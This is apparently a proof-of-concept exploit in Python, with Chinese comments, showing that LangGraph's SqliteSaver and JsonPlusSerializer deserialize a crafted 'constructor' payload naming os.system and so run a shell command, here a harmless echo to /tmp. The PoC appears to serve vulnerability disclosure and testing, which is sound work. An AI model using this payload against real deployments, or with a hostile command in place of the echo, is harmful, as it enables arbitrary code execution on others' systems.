1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
        StateGraph(State).
        add_node("my_node", my_node).
        add_edge("__start__", "my_node").
        compile(checkpointer=saver)
    )
    
    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
        "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # 恶意负载在第一次调用时保存
    graph.invoke(malicious_payload, config=config)

    # 恶意负载在第二次调用时被反序列化并执行代码
    graph.invoke({"foo": "hi there"}, config=config)

1
2
3
4
5
6

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # 在检查点器内部使用

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # 执行os.system(...)